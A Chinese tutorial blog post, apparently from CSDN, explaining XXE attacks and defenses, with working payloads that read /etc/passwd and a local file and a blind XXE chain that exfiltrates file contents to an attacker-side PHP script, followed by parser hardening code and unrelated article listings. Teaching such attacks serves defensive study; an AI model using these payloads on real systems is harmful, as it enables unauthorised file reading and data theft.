XXE(XML实体注入)攻击介绍与防御

XXE漏洞 XXE(xml external entity injection) 一、xxe漏洞 xml外部实体注入漏洞,发生在应用程序解析xml输入时,没有禁止外部实体的加载、导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。 xxe是一种针对xml终端的实施攻击,想要实施这种攻击需要在xml的payload的包含外部实体声明,且服务器本身允许实体扩展,这样就能读取web 阅读详情

在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML申明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->

<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>


DTD由于xxe漏洞与DTD文档相关,因此重点介绍DTD的概念。

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
内部声明DTD:

<!DOCTYPE 根元素 [元素声明]>


引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities

实体类别介绍

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

内部实体:

	
<!ENTITY 实体名称 "实体的值">

外部实体:

	
<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

实例演示:除参数实体外实体+内部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY name "nMask">]>
<foo>
        <value>&name;</value> 
</foo>

实例演示:参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

外部实体

外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">


语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?

主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

实例演示:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE a [

<!ENTITY content SYSTEM "file:///etc/passwd">]>

<foo>

<value>&content;</value>

</foo>

XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

xxe漏洞检测

第一步检测XML是否会被成功解析:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [

<!ENTITY name "my name is nMask">]>

<root>&name;</root>

如果页面输出了my name is nMask,说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体:

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY % name SYSTEM "http://localhost/index.html">

%name;

]>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

xxe漏洞利用

xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

读取任意文件

由于我是在windows上做的测试,因此让其读取c盘下的test.txt文件内容。

如果是linux下,可以读取/etc/passwd等目录下敏感数据。

以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

blind xxe漏洞

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容:

<?php

file_put_contents("test.txt", $_GET['file']) ;

?>


创建index.php写入以下内容:

<?php

$xml=<<<EOF

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///C:/test.txt">

<!ENTITY % remote SYSTEM "http://localhost/test.xml">

%remote;

%all;

%send;

]>

EOF;

$data = simplexml_load_string($xml) ;

echo "<pre>" ;

print_r($data) ;

?>


创建test.xml并写入以下内容:

[html] view plain copy
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

注:xxe的利用姿势以及绕过防御姿势有很多,这里不再一一介绍啦

xxe漏洞修复与防御

使用开发语言提供的禁用外部实体的方法

PHP:

	
libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);


Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))


过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

 

参考文档:https://thief.one/2017/06/20/1/

网络安全-XXE(XML外部实体注入)原理、攻击及防御_c# 如何防止xml外部实体注入 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。内部声明DTD引用外部DTD文档内部声明实体ENTITY 实体名称 "实体的值">引用外部实体ENTITY 实体名称 SYSTEM "URI">ENTITY 实体名称 PUBLIC "public\_ID" "URI"> 阅读详情

相关推荐

XXE注入漏洞从原理到实战:XML外部实体攻击深度解析与防御

XML(可扩展标记语言)作为广泛使用的数据交换格式,其核心功能之一是支持通过DTD(文档类型定义)定义文档结构和实体。实体机制本意是提升XML文档的编写效率和复用性,允许将重复内容定义为变量。然而,当XML解析器被配置为可以加载并解析外部实体时,便引入了严重的安全风险。攻击者通过构造恶意XML数据,利用SYSTEM标识符指向外部资源(如file://、http://协议),可诱使服务器端解析器执行非预期的操作。这项技术的安全价值在于,它能够将看似无害的数据解析过程,转变为读取服务器敏感文件、发起内部网络请求

weixin_33997389的博客 411

[ web 漏洞篇 ] 常见web漏洞总结之 XXE 总结

目录 什么是XXE漏洞 Xxe漏洞形成原因: 防御: 危害: 下什么是XML XML文档格式: 第一部分:声明 第二部分:DTD(文档类型定义) 第三部分:文档的元素 DTD部分 Xxe漏洞发生地点 什么是XXE漏洞 XXE漏洞全称外部实体注入漏洞 (外部实体的一个注入攻击) 产生地点:XXE漏洞发生在应用程序解析XML输入时 危害:造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害 Xxe漏洞形成原因: 1.支持接收...

qq_51577576的博客 1456

XML外部实体注入(XXE)漏洞:原理、攻击与防御实战指南

XML(可扩展标记语言)作为一种广泛使用的数据存储与传输格式,其核心特性包括通过文档类型定义(DTD)定义文档结构。DTD中的实体(Entity)机制允许定义内部或外部数据引用,其中外部实体可通过URI指向外部资源。当应用程序配置不当,XML解析器在解析用户可控的XML输入时,若未禁用外部实体加载功能,攻击者便能利用此特性实施XML外部实体注入(XXE)攻击。该漏洞的技术价值在于其强大的横向移动与情报收集能力,攻击者可通过构造恶意外部实体,读取服务器本地文件、发起内部网络请求(SSRF),甚至在某些条件下实

weixin_33708432的博客 320

Web安全-XXE漏洞

XML简介 1、定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 2、文档结构 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 <!--XML声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE no...

道阻且长,行则将至 3150

【网络安全】什么是XXE?从0到1完全掌握XXE

前置知识 XML 定义实体 XML 实体允许定义在分析 XML 文档时将由内容替换的标记,这里我的理解就是定义变量,然后赋值的意思一致。就比如一些文件上传的 payload 中就会有。 XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子 <?xml version="1.0"?>//这一行是 XML 文档定义 <!DOCTYPE message [ <!ELEMENT messa

HBohan的博客 5674

XXE(外部实体注入攻击)

XXE什么是XXE利用方法进阶学习防御理论上的防御措施实践有效的防御措施 什么是XXE XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。 利用方法 file:///C:/Windows/win.ini &lt;?xml versi...

sh0rk的博客 1万+

ref:浅谈XXE漏洞攻击与防御

ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于2017-06-20 | 分类于web安全 | 热度3189℃ 你会挽着我的衣袖,我会把手揣进裤兜   之前在参加一场CTF竞赛中遇到了xxe漏洞,由于当时并没有研究过此漏洞,解题毫无头绪。为了弥补web安全防御知识以及减少漏洞利用短板,我翻阅了一些...

weixin_30762087的博客 576

网络安全-XXE(XML外部实体注入)原理、攻击及防御_c# 如何防止xml外部实体注入(1)

XML外部实体注入(XML External Entity,为什么不取首字母呢…),简称XXE漏洞。

2401_84544752的博客 592

XXE攻防——XML外部实体注入

转自腾讯安全应急响应中心 一、XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外...

aezwm4109的博客 2347

DETR系列文章之–Co-DETR

Co-DETR,并行训练多个辅助头,以一对多的标签分配方式进行监督从辅助头中提取正样本坐标,为解码器中的正样本的训练效率进行额外的定制化正样本query.一对一标签分配:每个GT框分配给一个特定的query(DETR),较少的正query导致低效训练,从编码器生成的潜在表示和解码器中的注意力学习分析这一问题。一对多标签分配:每个GT框分配给检测器输出的多个proposal/anchor,依赖NMS或者anchor生成(ATSS,RetinaNet,FCOS,PAA)。

weixin_43731232的博客 2099

Shopee 虾皮API接口:商品详情采集的实践

随着电商行业的蓬勃发展,数据采集和分析在商业决策中扮演着越来越重要的角色。Shopee作为东南亚领先的电商平台,拥有大量的商品数据。通过Shopee的API接口,我们可以方便地获取商品详情,为数据分析和市场研究提供有力支持。本文将介绍如何使用Shopee API接口采集商品详情,并分享一些实践技巧。提供了丰富的数据接口,包括商品详情、店铺信息、订单数据等。通过API接口,开发者可以轻松地获取Shopee平台上的数据,进行进一步的处理和分析。Shopee API接口:商品详情采集的实践与技巧。

An4480的博客 1882

网络安全-XXE(XML外部实体注入)原理、攻击及防御

目录 前言 简介 原理 攻击 防御 禁用外部实体 过滤用户提交的XML数据 前言 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 博主之前用xml也没有使用过DTD,因为是可选的嘛,这里就简单说一下,学过的跳过。 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 内部声明DTD <!DOCTYPE 根元素 [元素声明]>引用外部DTD文档 <!DOCTYPE 根元素 SYSTE

关注网络安全、云原生安全 5969

智能电网中的智能调度与优化算法研究

本文研究智能电网中的智能调度与优化算法,旨在提高电网运行的效率与可靠性,减少能源浪费和设备故障的风险。在智能电网日益复杂化的背景下,传统的调度方法已难以满足高效、稳定的运行要求,因此亟需借助先进的优化算法对电网进行智能调度。本文第一深入分析智能电网调度中的关键问题与挑战,探讨优化算法在智能电网中的应用现状,并分析常见的优化算法,如遗传算法、粒子群算法和模拟退火算法。随后,本文构建智能电网的调度优化数学模型,并对电网负荷、发电模型及约束条件进行详细建模。在算法部分,本文提出改进的粒子群算法和遗传算法,并结合M

weixin_44553616的博客 1888

XXE漏洞深度解析:从XML实体注入到攻击链构建与防御

XML外部实体注入(XXE)是一种基于XML解析功能的安全漏洞,其核心原理在于应用程序在解析用户可控的XML输入时,错误地加载并执行了外部定义的实体。XML作为一种广泛使用的结构化数据交换格式,其DTD(文档类型定义)机制允许通过实体引用外部资源,这原本是为了增强灵活性和模块化。然而,当解析器被配置为信任并处理外部实体时,攻击者便能利用此功能读取服务器本地文件、发起内网请求,甚至实现远程命令执行,从而打破应用的安全边界。在工程实践中,XXE漏洞常出现在文件上传、API接口等场景,例如攻击者可通过构造恶意SV

weixin_30856725的博客 408

Win10系统下海思SS928开发板烧写工具ToolPlatform-1.0.11安装避坑指南

本文详细介绍了在Windows 10系统下安装和配置海思SS928开发板烧写工具ToolPlatform-1.0.11的完整流程与避坑指南。核心解决了JVM内存配置导致的界面卡顿、闪退问题,并提供了驱动安装、硬件连接、镜像烧写的实战步骤,帮助嵌入式开发新手快速搭建稳定的烧写环境。

kite3的博客 453

数字 IC 笔试面试必考点(2)FPGA 开发流程

FPGA 的详细开发流程就是利用 EDA 开发工具对 FPGA 芯片进行开发的过程,所以 FPGA 芯片开发流程讲的并不是芯片的制造流程,区分于 IC 设计制造流程哟(芯片制造流程多麻烦,要好几十亿的费用呢,而且国内也貌似没有哪家像样的 Foundry 厂,除了台湾的 TSMC 在世界有立足之地,Fabless 的 IC 设计公司倒是挺强的如 Hisilicon,这也是它为什么会被 USA 针对的原因)。

新芯设计的博客 2011

017_Web安全实战指南:XML外部实体注入(XXE)漏洞原理、攻击技术与全面防御策略

XML外部实体注入(XML External Entity Injection, XXE)是一种常见且危害严重的Web安全漏洞。根据2025年最新的OWASP Top 10安全风险报告,XXE漏洞仍然是Web应用程序面临的主要安全威胁之一。尽管这一漏洞已经存在多年,但由于XML在企业级应用和Web服务中的广泛使用,以及开发人员对XML安全配置的忽视,XXE漏洞仍然普遍存在。

欢迎来到智能安全前线!这里是AI与信息安全交汇之地。我们以代码为武器,深入大模型攻防实战,破解系统漏洞。追踪OpenAI、Meta前沿动态,用红蓝对抗思维,锻造智能时代的坚盾与利矛。 495

MIKE 21 教程 1.2 网格搭建界面介绍之点线面要素的高阶处理 (Mesh Generator 工具)

MIKE 21 教程 手把手教学系列 1.1 网格搭建界面介绍之点线面要素的高阶处理 (Mesh Generator 工具) ​ 上一篇文章讲解了如何创建基本的点、线、面要素 MIKE 21 教程 1.1 网格搭建界面介绍之点线面的创建 本节来讲一下对点线面要素的高阶处理,主要包括要素修改与打断线(break line)的讲解 ​

Hello Word 4147

「 典型安全漏洞系列 」05.XML外部实体注入XXE详解

标记:指计算机能理解的信息符号(标签),通过这些标签,计算机之间可以处理包含各种信息的HTML、文章等;可扩展性:使用者可以根据需要自行定义标签。下面是一个包含XML声明、文档类型定义(Document Type Definition,DTD)的XML文件样例。

所有成功的背后,都是痛苦的坚持,所有的痛苦,都是傻瓜般的不放弃! 2729

redhawk如何看高toggle rate instance

1.图形界面View-Power Map - Toggle Map of Instances。redhawk通过报告和图形界面两种方式查看高toggle rate的instance。2.看warning log,在adsRpt/Warn里,搜toggle rate。我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧?

m0_61544122的博客 609

ESP32与BH1750光照传感器结合使用的Web服务器案例

请注意,为了使代码正常工作,你需要将代码中的"你的WiFi网络名称"和"你的WiFi网络密码"替换为你自己的WiFi网络凭据。在代码中,我们首先导入了所需的库文件,包括Wire库用于I2C通信,BH1750库用于与光照传感器通信,WiFi库和WebServer库用于创建Web服务器。接下来,我们将编写一个Arduino代码来控制ESP32与BH1750的通信,并将读取到的光照强度值显示在Web服务器上。函数用于处理根路径的请求,其中我们读取光照传感器的值,并将其显示在返回的HTML页面中。

server_api196的博客 617

xxe漏洞原理与利用

xxe漏洞原理与应用

Au_Wind的博客 2178

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Xml外部实体注入漏洞(XXE)与防护

转自腾讯安全应急响应中心 一、XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。 ...

似水流年 1万+

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

Java SAXReader 安全配置实战:3步防御XXE与XML实体注入攻击

本文详细介绍了Java SAXReader安全配置的3个关键步骤,有效防御XXE(XML外部实体注入)与XML实体注入攻击。通过禁用DTD、实现自定义EntityResolver和启用安全处理模式,开发者可以显著提升XML解析的安全性,防止敏感数据泄露和内网探测等风险。

weixin_29323273的博客 325
上一篇: XSS 跨站脚本攻击的攻防
下一篇: CSRF攻击(跨站请求伪造)和防御
han_code
博客等级 码龄9年 5粉丝 2原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值